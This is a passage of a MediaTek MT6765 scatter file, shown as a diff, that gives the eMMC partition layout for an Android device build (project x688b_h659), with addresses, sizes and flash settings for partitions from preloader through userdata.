|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
############################################################################################################
|
2 |
+
#
|
3 |
+
# General Setting
|
4 |
+
#
|
5 |
+
############################################################################################################
|
6 |
+
- general: MTK_PLATFORM_CFG
|
7 |
+
info:
|
8 |
+
- config_version: V1.1.2
|
9 |
+
platform: MT6765
|
10 |
+
project: x688b_h659
|
11 |
+
storage: EMMC
|
12 |
+
boot_channel: MSDC_0
|
13 |
+
block_size: 0x20000
|
14 |
+
############################################################################################################
|
15 |
+
#
|
16 |
+
# Layout Setting
|
17 |
+
#
|
18 |
+
############################################################################################################
|
19 |
+
- partition_index: SYS0
|
20 |
+
partition_name: preloader
|
21 |
+
file_name: preloader_x688b_h659.bin
|
22 |
+
is_download: true
|
23 |
+
type: SV5_BL_BIN
|
24 |
+
linear_start_addr: 0x0
|
25 |
+
physical_start_addr: 0x0
|
26 |
+
partition_size: 0x40000
|
27 |
+
region: EMMC_BOOT1_BOOT2
|
28 |
+
storage: HW_STORAGE_EMMC
|
29 |
+
boundary_check: true
|
30 |
+
is_reserved: false
|
31 |
+
operation_type: BOOTLOADERS
|
32 |
+
is_upgradable: true
|
33 |
+
empty_boot_needed: false
|
34 |
+
reserve: 0x00
|
35 |
+
|
36 |
+
- partition_index: SYS1
|
37 |
+
partition_name: pgpt
|
38 |
+
file_name: NONE
|
39 |
+
is_download: false
|
40 |
+
type: NORMAL_ROM
|
41 |
+
linear_start_addr: 0x0
|
42 |
+
physical_start_addr: 0x0
|
43 |
+
partition_size: 0x8000
|
44 |
+
region: EMMC_USER
|
45 |
+
storage: HW_STORAGE_EMMC
|
46 |
+
boundary_check: true
|
47 |
+
is_reserved: false
|
48 |
+
operation_type: INVISIBLE
|
49 |
+
is_upgradable: false
|
50 |
+
empty_boot_needed: false
|
51 |
+
reserve: 0x00
|
52 |
+
|
53 |
+
- partition_index: SYS2
|
54 |
+
partition_name: boot_para
|
55 |
+
file_name: NONE
|
56 |
+
is_download: false
|
57 |
+
type: NORMAL_ROM
|
58 |
+
linear_start_addr: 0x8000
|
59 |
+
physical_start_addr: 0x8000
|
60 |
+
partition_size: 0x100000
|
61 |
+
region: EMMC_USER
|
62 |
+
storage: HW_STORAGE_EMMC
|
63 |
+
boundary_check: true
|
64 |
+
is_reserved: false
|
65 |
+
operation_type: INVISIBLE
|
66 |
+
is_upgradable: false
|
67 |
+
empty_boot_needed: false
|
68 |
+
reserve: 0x00
|
69 |
+
|
70 |
+
- partition_index: SYS3
|
71 |
+
partition_name: proinfo
|
72 |
+
file_name: NONE
|
73 |
+
is_download: false
|
74 |
+
type: NORMAL_ROM
|
75 |
+
linear_start_addr: 0x108000
|
76 |
+
physical_start_addr: 0x108000
|
77 |
+
partition_size: 0x300000
|
78 |
+
region: EMMC_USER
|
79 |
+
storage: HW_STORAGE_EMMC
|
80 |
+
boundary_check: true
|
81 |
+
is_reserved: false
|
82 |
+
operation_type: PROTECTED
|
83 |
+
is_upgradable: false
|
84 |
+
empty_boot_needed: false
|
85 |
+
reserve: 0x00
|
86 |
+
|
87 |
+
- partition_index: SYS4
|
88 |
+
partition_name: para
|
89 |
+
file_name: NONE
|
90 |
+
is_download: false
|
91 |
+
type: NORMAL_ROM
|
92 |
+
linear_start_addr: 0x408000
|
93 |
+
physical_start_addr: 0x408000
|
94 |
+
partition_size: 0x80000
|
95 |
+
region: EMMC_USER
|
96 |
+
storage: HW_STORAGE_EMMC
|
97 |
+
boundary_check: true
|
98 |
+
is_reserved: false
|
99 |
+
operation_type: INVISIBLE
|
100 |
+
is_upgradable: false
|
101 |
+
empty_boot_needed: false
|
102 |
+
reserve: 0x00
|
103 |
+
|
104 |
+
- partition_index: SYS5
|
105 |
+
partition_name: expdb
|
106 |
+
file_name: NONE
|
107 |
+
is_download: false
|
108 |
+
type: NORMAL_ROM
|
109 |
+
linear_start_addr: 0x488000
|
110 |
+
physical_start_addr: 0x488000
|
111 |
+
partition_size: 0x1400000
|
112 |
+
region: EMMC_USER
|
113 |
+
storage: HW_STORAGE_EMMC
|
114 |
+
boundary_check: true
|
115 |
+
is_reserved: false
|
116 |
+
operation_type: INVISIBLE
|
117 |
+
is_upgradable: false
|
118 |
+
empty_boot_needed: false
|
119 |
+
reserve: 0x00
|
120 |
+
|
121 |
+
- partition_index: SYS6
|
122 |
+
partition_name: frp
|
123 |
+
file_name: NONE
|
124 |
+
is_download: false
|
125 |
+
type: NORMAL_ROM
|
126 |
+
linear_start_addr: 0x1888000
|
127 |
+
physical_start_addr: 0x1888000
|
128 |
+
partition_size: 0x100000
|
129 |
+
region: EMMC_USER
|
130 |
+
storage: HW_STORAGE_EMMC
|
131 |
+
boundary_check: true
|
132 |
+
is_reserved: false
|
133 |
+
operation_type: INVISIBLE
|
134 |
+
is_upgradable: false
|
135 |
+
empty_boot_needed: false
|
136 |
+
reserve: 0x00
|
137 |
+
|
138 |
+
- partition_index: SYS7
|
139 |
+
partition_name: metadata
|
140 |
+
file_name: NONE
|
141 |
+
is_download: false
|
142 |
+
type: NORMAL_ROM
|
143 |
+
linear_start_addr: 0x1988000
|
144 |
+
physical_start_addr: 0x1988000
|
145 |
+
partition_size: 0x2000000
|
146 |
+
region: EMMC_USER
|
147 |
+
storage: HW_STORAGE_EMMC
|
148 |
+
boundary_check: true
|
149 |
+
is_reserved: false
|
150 |
+
operation_type: INVISIBLE
|
151 |
+
is_upgradable: false
|
152 |
+
empty_boot_needed: false
|
153 |
+
reserve: 0x00
|
154 |
+
|
155 |
+
- partition_index: SYS8
|
156 |
+
partition_name: md_udc
|
157 |
+
file_name: NONE
|
158 |
+
is_download: false
|
159 |
+
type: NORMAL_ROM
|
160 |
+
linear_start_addr: 0x3988000
|
161 |
+
physical_start_addr: 0x3988000
|
162 |
+
partition_size: 0x169a000
|
163 |
+
region: EMMC_USER
|
164 |
+
storage: HW_STORAGE_EMMC
|
165 |
+
boundary_check: true
|
166 |
+
is_reserved: false
|
167 |
+
operation_type: INVISIBLE
|
168 |
+
is_upgradable: false
|
169 |
+
empty_boot_needed: false
|
170 |
+
reserve: 0x00
|
171 |
+
|
172 |
+
- partition_index: SYS9
|
173 |
+
partition_name: nvcfg
|
174 |
+
file_name: NONE
|
175 |
+
is_download: false
|
176 |
+
type: EXT4_IMG
|
177 |
+
linear_start_addr: 0x5022000
|
178 |
+
physical_start_addr: 0x5022000
|
179 |
+
partition_size: 0x2000000
|
180 |
+
region: EMMC_USER
|
181 |
+
storage: HW_STORAGE_EMMC
|
182 |
+
boundary_check: true
|
183 |
+
is_reserved: false
|
184 |
+
operation_type: PROTECTED
|
185 |
+
is_upgradable: false
|
186 |
+
empty_boot_needed: false
|
187 |
+
reserve: 0x00
|
188 |
+
|
189 |
+
- partition_index: SYS10
|
190 |
+
partition_name: nvdata
|
191 |
+
file_name: NONE
|
192 |
+
is_download: false
|
193 |
+
type: EXT4_IMG
|
194 |
+
linear_start_addr: 0x7022000
|
195 |
+
physical_start_addr: 0x7022000
|
196 |
+
partition_size: 0x47de000
|
197 |
+
region: EMMC_USER
|
198 |
+
storage: HW_STORAGE_EMMC
|
199 |
+
boundary_check: true
|
200 |
+
is_reserved: false
|
201 |
+
operation_type: INVISIBLE
|
202 |
+
is_upgradable: false
|
203 |
+
empty_boot_needed: false
|
204 |
+
reserve: 0x00
|
205 |
+
|
206 |
+
- partition_index: SYS11
|
207 |
+
partition_name: persist
|
208 |
+
file_name: NONE
|
209 |
+
is_download: false
|
210 |
+
type: EXT4_IMG
|
211 |
+
linear_start_addr: 0xb800000
|
212 |
+
physical_start_addr: 0xb800000
|
213 |
+
partition_size: 0x3000000
|
214 |
+
region: EMMC_USER
|
215 |
+
storage: HW_STORAGE_EMMC
|
216 |
+
boundary_check: true
|
217 |
+
is_reserved: false
|
218 |
+
operation_type: PROTECTED
|
219 |
+
is_upgradable: false
|
220 |
+
empty_boot_needed: false
|
221 |
+
reserve: 0x00
|
222 |
+
|
223 |
+
- partition_index: SYS12
|
224 |
+
partition_name: protect1
|
225 |
+
file_name: NONE
|
226 |
+
is_download: false
|
227 |
+
type: EXT4_IMG
|
228 |
+
linear_start_addr: 0xe800000
|
229 |
+
physical_start_addr: 0xe800000
|
230 |
+
partition_size: 0x800000
|
231 |
+
region: EMMC_USER
|
232 |
+
storage: HW_STORAGE_EMMC
|
233 |
+
boundary_check: true
|
234 |
+
is_reserved: false
|
235 |
+
operation_type: PROTECTED
|
236 |
+
is_upgradable: false
|
237 |
+
empty_boot_needed: false
|
238 |
+
reserve: 0x00
|
239 |
+
|
240 |
+
- partition_index: SYS13
|
241 |
+
partition_name: protect2
|
242 |
+
file_name: NONE
|
243 |
+
is_download: false
|
244 |
+
type: EXT4_IMG
|
245 |
+
linear_start_addr: 0xf000000
|
246 |
+
physical_start_addr: 0xf000000
|
247 |
+
partition_size: 0x800000
|
248 |
+
region: EMMC_USER
|
249 |
+
storage: HW_STORAGE_EMMC
|
250 |
+
boundary_check: true
|
251 |
+
is_reserved: false
|
252 |
+
operation_type: PROTECTED
|
253 |
+
is_upgradable: false
|
254 |
+
empty_boot_needed: false
|
255 |
+
reserve: 0x00
|
256 |
+
|
257 |
+
- partition_index: SYS14
|
258 |
+
partition_name: tkv
|
259 |
+
file_name: tkv.img
|
260 |
+
is_download: true
|
261 |
+
type: NORMAL_ROM
|
262 |
+
linear_start_addr: 0xf800000
|
263 |
+
physical_start_addr: 0xf800000
|
264 |
+
partition_size: 0x100000
|
265 |
+
region: EMMC_USER
|
266 |
+
storage: HW_STORAGE_EMMC
|
267 |
+
boundary_check: true
|
268 |
+
is_reserved: false
|
269 |
+
operation_type: UPDATE
|
270 |
+
is_upgradable: true
|
271 |
+
empty_boot_needed: false
|
272 |
+
reserve: 0x00
|
273 |
+
|
274 |
+
- partition_index: SYS15
|
275 |
+
partition_name: recovery
|
276 |
+
file_name: recovery.img
|
277 |
+
is_download: true
|
278 |
+
type: NORMAL_ROM
|
279 |
+
linear_start_addr: 0xf900000
|
280 |
+
physical_start_addr: 0xf900000
|
281 |
+
partition_size: 0x2700000
|
282 |
+
region: EMMC_USER
|
283 |
+
storage: HW_STORAGE_EMMC
|
284 |
+
boundary_check: true
|
285 |
+
is_reserved: false
|
286 |
+
operation_type: UPDATE
|
287 |
+
is_upgradable: true
|
288 |
+
empty_boot_needed: false
|
289 |
+
reserve: 0x00
|
290 |
+
|
291 |
+
- partition_index: SYS16
|
292 |
+
partition_name: seccfg
|
293 |
+
file_name: NONE
|
294 |
+
is_download: false
|
295 |
+
type: NORMAL_ROM
|
296 |
+
linear_start_addr: 0x12000000
|
297 |
+
physical_start_addr: 0x12000000
|
298 |
+
partition_size: 0x800000
|
299 |
+
region: EMMC_USER
|
300 |
+
storage: HW_STORAGE_EMMC
|
301 |
+
boundary_check: true
|
302 |
+
is_reserved: false
|
303 |
+
operation_type: INVISIBLE
|
304 |
+
is_upgradable: false
|
305 |
+
empty_boot_needed: false
|
306 |
+
reserve: 0x00
|
307 |
+
|
308 |
+
- partition_index: SYS17
|
309 |
+
partition_name: sec1
|
310 |
+
file_name: NONE
|
311 |
+
is_download: false
|
312 |
+
type: NORMAL_ROM
|
313 |
+
linear_start_addr: 0x12800000
|
314 |
+
physical_start_addr: 0x12800000
|
315 |
+
partition_size: 0x200000
|
316 |
+
region: EMMC_USER
|
317 |
+
storage: HW_STORAGE_EMMC
|
318 |
+
boundary_check: true
|
319 |
+
is_reserved: false
|
320 |
+
operation_type: INVISIBLE
|
321 |
+
is_upgradable: false
|
322 |
+
empty_boot_needed: false
|
323 |
+
reserve: 0x00
|
324 |
+
|
325 |
+
- partition_index: SYS18
|
326 |
+
partition_name: md1img
|
327 |
+
file_name: md1img.img
|
328 |
+
is_download: true
|
329 |
+
type: NORMAL_ROM
|
330 |
+
linear_start_addr: 0x12a00000
|
331 |
+
physical_start_addr: 0x12a00000
|
332 |
+
partition_size: 0x6400000
|
333 |
+
region: EMMC_USER
|
334 |
+
storage: HW_STORAGE_EMMC
|
335 |
+
boundary_check: true
|
336 |
+
is_reserved: false
|
337 |
+
operation_type: UPDATE
|
338 |
+
is_upgradable: true
|
339 |
+
empty_boot_needed: false
|
340 |
+
reserve: 0x00
|
341 |
+
|
342 |
+
- partition_index: SYS19
|
343 |
+
partition_name: spmfw
|
344 |
+
file_name: spmfw.img
|
345 |
+
is_download: true
|
346 |
+
type: NORMAL_ROM
|
347 |
+
linear_start_addr: 0x18e00000
|
348 |
+
physical_start_addr: 0x18e00000
|
349 |
+
partition_size: 0x100000
|
350 |
+
region: EMMC_USER
|
351 |
+
storage: HW_STORAGE_EMMC
|
352 |
+
boundary_check: true
|
353 |
+
is_reserved: false
|
354 |
+
operation_type: UPDATE
|
355 |
+
is_upgradable: true
|
356 |
+
empty_boot_needed: false
|
357 |
+
reserve: 0x00
|
358 |
+
|
359 |
+
- partition_index: SYS20
|
360 |
+
partition_name: scp1
|
361 |
+
file_name: scp.img
|
362 |
+
is_download: true
|
363 |
+
type: NORMAL_ROM
|
364 |
+
linear_start_addr: 0x18f00000
|
365 |
+
physical_start_addr: 0x18f00000
|
366 |
+
partition_size: 0x100000
|
367 |
+
region: EMMC_USER
|
368 |
+
storage: HW_STORAGE_EMMC
|
369 |
+
boundary_check: true
|
370 |
+
is_reserved: false
|
371 |
+
operation_type: UPDATE
|
372 |
+
is_upgradable: true
|
373 |
+
empty_boot_needed: false
|
374 |
+
reserve: 0x00
|
375 |
+
|
376 |
+
- partition_index: SYS21
|
377 |
+
partition_name: scp2
|
378 |
+
file_name: scp.img
|
379 |
+
is_download: true
|
380 |
+
type: NORMAL_ROM
|
381 |
+
linear_start_addr: 0x19000000
|
382 |
+
physical_start_addr: 0x19000000
|
383 |
+
partition_size: 0x100000
|
384 |
+
region: EMMC_USER
|
385 |
+
storage: HW_STORAGE_EMMC
|
386 |
+
boundary_check: true
|
387 |
+
is_reserved: false
|
388 |
+
operation_type: UPDATE
|
389 |
+
is_upgradable: true
|
390 |
+
empty_boot_needed: false
|
391 |
+
reserve: 0x00
|
392 |
+
|
393 |
+
- partition_index: SYS22
|
394 |
+
partition_name: sspm_1
|
395 |
+
file_name: sspm.img
|
396 |
+
is_download: true
|
397 |
+
type: NORMAL_ROM
|
398 |
+
linear_start_addr: 0x19100000
|
399 |
+
physical_start_addr: 0x19100000
|
400 |
+
partition_size: 0x100000
|
401 |
+
region: EMMC_USER
|
402 |
+
storage: HW_STORAGE_EMMC
|
403 |
+
boundary_check: true
|
404 |
+
is_reserved: false
|
405 |
+
operation_type: UPDATE
|
406 |
+
is_upgradable: true
|
407 |
+
empty_boot_needed: false
|
408 |
+
reserve: 0x00
|
409 |
+
|
410 |
+
- partition_index: SYS23
|
411 |
+
partition_name: sspm_2
|
412 |
+
file_name: sspm.img
|
413 |
+
is_download: true
|
414 |
+
type: NORMAL_ROM
|
415 |
+
linear_start_addr: 0x19200000
|
416 |
+
physical_start_addr: 0x19200000
|
417 |
+
partition_size: 0x100000
|
418 |
+
region: EMMC_USER
|
419 |
+
storage: HW_STORAGE_EMMC
|
420 |
+
boundary_check: true
|
421 |
+
is_reserved: false
|
422 |
+
operation_type: UPDATE
|
423 |
+
is_upgradable: true
|
424 |
+
empty_boot_needed: false
|
425 |
+
reserve: 0x00
|
426 |
+
|
427 |
+
- partition_index: SYS24
|
428 |
+
partition_name: gz1
|
429 |
+
file_name: NONE
|
430 |
+
is_download: false
|
431 |
+
type: NORMAL_ROM
|
432 |
+
linear_start_addr: 0x19300000
|
433 |
+
physical_start_addr: 0x19300000
|
434 |
+
partition_size: 0x1000000
|
435 |
+
region: EMMC_USER
|
436 |
+
storage: HW_STORAGE_EMMC
|
437 |
+
boundary_check: true
|
438 |
+
is_reserved: false
|
439 |
+
operation_type: INVISIBLE
|
440 |
+
is_upgradable: false
|
441 |
+
empty_boot_needed: false
|
442 |
+
reserve: 0x00
|
443 |
+
|
444 |
+
- partition_index: SYS25
|
445 |
+
partition_name: gz2
|
446 |
+
file_name: NONE
|
447 |
+
is_download: false
|
448 |
+
type: NORMAL_ROM
|
449 |
+
linear_start_addr: 0x1a300000
|
450 |
+
physical_start_addr: 0x1a300000
|
451 |
+
partition_size: 0x1000000
|
452 |
+
region: EMMC_USER
|
453 |
+
storage: HW_STORAGE_EMMC
|
454 |
+
boundary_check: true
|
455 |
+
is_reserved: false
|
456 |
+
operation_type: INVISIBLE
|
457 |
+
is_upgradable: false
|
458 |
+
empty_boot_needed: false
|
459 |
+
reserve: 0x00
|
460 |
+
|
461 |
+
- partition_index: SYS26
|
462 |
+
partition_name: nvram
|
463 |
+
file_name: NONE
|
464 |
+
is_download: false
|
465 |
+
type: NORMAL_ROM
|
466 |
+
linear_start_addr: 0x1b300000
|
467 |
+
physical_start_addr: 0x1b300000
|
468 |
+
partition_size: 0x4000000
|
469 |
+
region: EMMC_USER
|
470 |
+
storage: HW_STORAGE_EMMC
|
471 |
+
boundary_check: true
|
472 |
+
is_reserved: false
|
473 |
+
operation_type: BINREGION
|
474 |
+
is_upgradable: false
|
475 |
+
empty_boot_needed: false
|
476 |
+
reserve: 0x00
|
477 |
+
|
478 |
+
- partition_index: SYS27
|
479 |
+
partition_name: lk
|
480 |
+
file_name: lk.img
|
481 |
+
is_download: true
|
482 |
+
type: NORMAL_ROM
|
483 |
+
linear_start_addr: 0x1f300000
|
484 |
+
physical_start_addr: 0x1f300000
|
485 |
+
partition_size: 0x100000
|
486 |
+
region: EMMC_USER
|
487 |
+
storage: HW_STORAGE_EMMC
|
488 |
+
boundary_check: true
|
489 |
+
is_reserved: false
|
490 |
+
operation_type: UPDATE
|
491 |
+
is_upgradable: true
|
492 |
+
empty_boot_needed: true
|
493 |
+
reserve: 0x00
|
494 |
+
|
495 |
+
- partition_index: SYS28
|
496 |
+
partition_name: lk2
|
497 |
+
file_name: lk.img
|
498 |
+
is_download: true
|
499 |
+
type: NORMAL_ROM
|
500 |
+
linear_start_addr: 0x1f400000
|
501 |
+
physical_start_addr: 0x1f400000
|
502 |
+
partition_size: 0x100000
|
503 |
+
region: EMMC_USER
|
504 |
+
storage: HW_STORAGE_EMMC
|
505 |
+
boundary_check: true
|
506 |
+
is_reserved: false
|
507 |
+
operation_type: UPDATE
|
508 |
+
is_upgradable: true
|
509 |
+
empty_boot_needed: false
|
510 |
+
reserve: 0x00
|
511 |
+
|
512 |
+
- partition_index: SYS29
|
513 |
+
partition_name: boot
|
514 |
+
file_name: boot.img
|
515 |
+
is_download: true
|
516 |
+
type: NORMAL_ROM
|
517 |
+
linear_start_addr: 0x1f500000
|
518 |
+
physical_start_addr: 0x1f500000
|
519 |
+
partition_size: 0x2000000
|
520 |
+
region: EMMC_USER
|
521 |
+
storage: HW_STORAGE_EMMC
|
522 |
+
boundary_check: true
|
523 |
+
is_reserved: false
|
524 |
+
operation_type: UPDATE
|
525 |
+
is_upgradable: true
|
526 |
+
empty_boot_needed: false
|
527 |
+
reserve: 0x00
|
528 |
+
|
529 |
+
- partition_index: SYS30
|
530 |
+
partition_name: logo
|
531 |
+
file_name: logo.bin
|
532 |
+
is_download: true
|
533 |
+
type: NORMAL_ROM
|
534 |
+
linear_start_addr: 0x21500000
|
535 |
+
physical_start_addr: 0x21500000
|
536 |
+
partition_size: 0x800000
|
537 |
+
region: EMMC_USER
|
538 |
+
storage: HW_STORAGE_EMMC
|
539 |
+
boundary_check: true
|
540 |
+
is_reserved: false
|
541 |
+
operation_type: UPDATE
|
542 |
+
is_upgradable: false
|
543 |
+
empty_boot_needed: true
|
544 |
+
reserve: 0x00
|
545 |
+
|
546 |
+
- partition_index: SYS31
|
547 |
+
partition_name: dtbo
|
548 |
+
file_name: dtbo.img
|
549 |
+
is_download: true
|
550 |
+
type: NORMAL_ROM
|
551 |
+
linear_start_addr: 0x21d00000
|
552 |
+
physical_start_addr: 0x21d00000
|
553 |
+
partition_size: 0x800000
|
554 |
+
region: EMMC_USER
|
555 |
+
storage: HW_STORAGE_EMMC
|
556 |
+
boundary_check: true
|
557 |
+
is_reserved: false
|
558 |
+
operation_type: UPDATE
|
559 |
+
is_upgradable: true
|
560 |
+
empty_boot_needed: false
|
561 |
+
reserve: 0x00
|
562 |
+
|
563 |
+
- partition_index: SYS32
|
564 |
+
partition_name: tee1
|
565 |
+
file_name: tee.img
|
566 |
+
is_download: true
|
567 |
+
type: NORMAL_ROM
|
568 |
+
linear_start_addr: 0x22500000
|
569 |
+
physical_start_addr: 0x22500000
|
570 |
+
partition_size: 0x500000
|
571 |
+
region: EMMC_USER
|
572 |
+
storage: HW_STORAGE_EMMC
|
573 |
+
boundary_check: true
|
574 |
+
is_reserved: false
|
575 |
+
operation_type: UPDATE
|
576 |
+
is_upgradable: true
|
577 |
+
empty_boot_needed: true
|
578 |
+
reserve: 0x00
|
579 |
+
|
580 |
+
- partition_index: SYS33
|
581 |
+
partition_name: tee2
|
582 |
+
file_name: tee.img
|
583 |
+
is_download: true
|
584 |
+
type: NORMAL_ROM
|
585 |
+
linear_start_addr: 0x22a00000
|
586 |
+
physical_start_addr: 0x22a00000
|
587 |
+
partition_size: 0x500000
|
588 |
+
region: EMMC_USER
|
589 |
+
storage: HW_STORAGE_EMMC
|
590 |
+
boundary_check: true
|
591 |
+
is_reserved: false
|
592 |
+
operation_type: UPDATE
|
593 |
+
is_upgradable: true
|
594 |
+
empty_boot_needed: false
|
595 |
+
reserve: 0x00
|
596 |
+
|
597 |
+
- partition_index: SYS34
|
598 |
+
partition_name: vbmeta
|
599 |
+
file_name: vbmeta.img
|
600 |
+
is_download: true
|
601 |
+
type: NORMAL_ROM
|
602 |
+
linear_start_addr: 0x22f00000
|
603 |
+
physical_start_addr: 0x22f00000
|
604 |
+
partition_size: 0x800000
|
605 |
+
region: EMMC_USER
|
606 |
+
storage: HW_STORAGE_EMMC
|
607 |
+
boundary_check: true
|
608 |
+
is_reserved: false
|
609 |
+
operation_type: UPDATE
|
610 |
+
is_upgradable: true
|
611 |
+
empty_boot_needed: false
|
612 |
+
reserve: 0x00
|
613 |
+
|
614 |
+
- partition_index: SYS35
|
615 |
+
partition_name: vbmeta_system
|
616 |
+
file_name: vbmeta_system.img
|
617 |
+
is_download: true
|
618 |
+
type: NORMAL_ROM
|
619 |
+
linear_start_addr: 0x23700000
|
620 |
+
physical_start_addr: 0x23700000
|
621 |
+
partition_size: 0x800000
|
622 |
+
region: EMMC_USER
|
623 |
+
storage: HW_STORAGE_EMMC
|
624 |
+
boundary_check: true
|
625 |
+
is_reserved: false
|
626 |
+
operation_type: UPDATE
|
627 |
+
is_upgradable: true
|
628 |
+
empty_boot_needed: false
|
629 |
+
reserve: 0x00
|
630 |
+
|
631 |
+
- partition_index: SYS36
|
632 |
+
partition_name: vbmeta_vendor
|
633 |
+
file_name: vbmeta_vendor.img
|
634 |
+
is_download: true
|
635 |
+
type: NORMAL_ROM
|
636 |
+
linear_start_addr: 0x23f00000
|
637 |
+
physical_start_addr: 0x23f00000
|
638 |
+
partition_size: 0x900000
|
639 |
+
region: EMMC_USER
|
640 |
+
storage: HW_STORAGE_EMMC
|
641 |
+
boundary_check: true
|
642 |
+
is_reserved: false
|
643 |
+
operation_type: UPDATE
|
644 |
+
is_upgradable: true
|
645 |
+
empty_boot_needed: false
|
646 |
+
reserve: 0x00
|
647 |
+
|
648 |
+
- partition_index: SYS37
|
649 |
+
partition_name: super
|
650 |
+
file_name: super.img
|
651 |
+
is_download: true
|
652 |
+
type: NORMAL_ROM
|
653 |
+
linear_start_addr: 0x24800000
|
654 |
+
physical_start_addr: 0x24800000
|
655 |
+
partition_size: 0x17b000000
|
656 |
+
region: EMMC_USER
|
657 |
+
storage: HW_STORAGE_EMMC
|
658 |
+
boundary_check: true
|
659 |
+
is_reserved: false
|
660 |
+
operation_type: UPDATE
|
661 |
+
is_upgradable: true
|
662 |
+
empty_boot_needed: false
|
663 |
+
reserve: 0x00
|
664 |
+
|
665 |
+
- partition_index: SYS38
|
666 |
+
partition_name: cache
|
667 |
+
file_name: cache.img
|
668 |
+
is_download: true
|
669 |
+
type: EXT4_IMG
|
670 |
+
linear_start_addr: 0x19f800000
|
671 |
+
physical_start_addr: 0x19f800000
|
672 |
+
partition_size: 0x12c00000
|
673 |
+
region: EMMC_USER
|
674 |
+
storage: HW_STORAGE_EMMC
|
675 |
+
boundary_check: true
|
676 |
+
is_reserved: false
|
677 |
+
operation_type: UPDATE
|
678 |
+
is_upgradable: false
|
679 |
+
empty_boot_needed: false
|
680 |
+
reserve: 0x00
|
681 |
+
|
682 |
+
- partition_index: SYS39
|
683 |
+
partition_name: tranfs
|
684 |
+
file_name: tranfs.img
|
685 |
+
is_download: true
|
686 |
+
type: EXT4_IMG
|
687 |
+
linear_start_addr: 0x1b2400000
|
688 |
+
physical_start_addr: 0x1b2400000
|
689 |
+
partition_size: 0x12c00000
|
690 |
+
region: EMMC_USER
|
691 |
+
storage: HW_STORAGE_EMMC
|
692 |
+
boundary_check: true
|
693 |
+
is_reserved: false
|
694 |
+
operation_type: UPDATE
|
695 |
+
is_upgradable: false
|
696 |
+
empty_boot_needed: false
|
697 |
+
reserve: 0x00
|
698 |
+
|
699 |
+
- partition_index: SYS40
|
700 |
+
partition_name: userdata
|
701 |
+
file_name: userdata.img
|
702 |
+
is_download: true
|
703 |
+
type: EXT4_IMG
|
704 |
+
linear_start_addr: 0x1c5000000
|
705 |
+
physical_start_addr: 0x1c5000000
|
706 |
+
partition_size: 0xc0000000
|
707 |
+
region: EMMC_USER
|
708 |
+
storage: HW_STORAGE_EMMC
|
709 |
+
boundary_check: true
|
710 |
+
is_reserved: false
|
711 |
+
operation_type: UPDATE
|
712 |
+
is_upgradable: false
|
713 |
+
empty_boot_needed: false
|
714 |
+
reserve: 0x00
|
715 |
+
|
716 |
+
- partition_index: SYS41
|
717 |
+
partition_name: otp
|
718 |
+
file_name: NONE
|
719 |
+
is_download: false
|
720 |
+
type: NORMAL_ROM
|
721 |
+
linear_start_addr: 0xFFFF01d8
|
722 |
+
physical_start_addr: 0xFFFF01d8
|
723 |
+
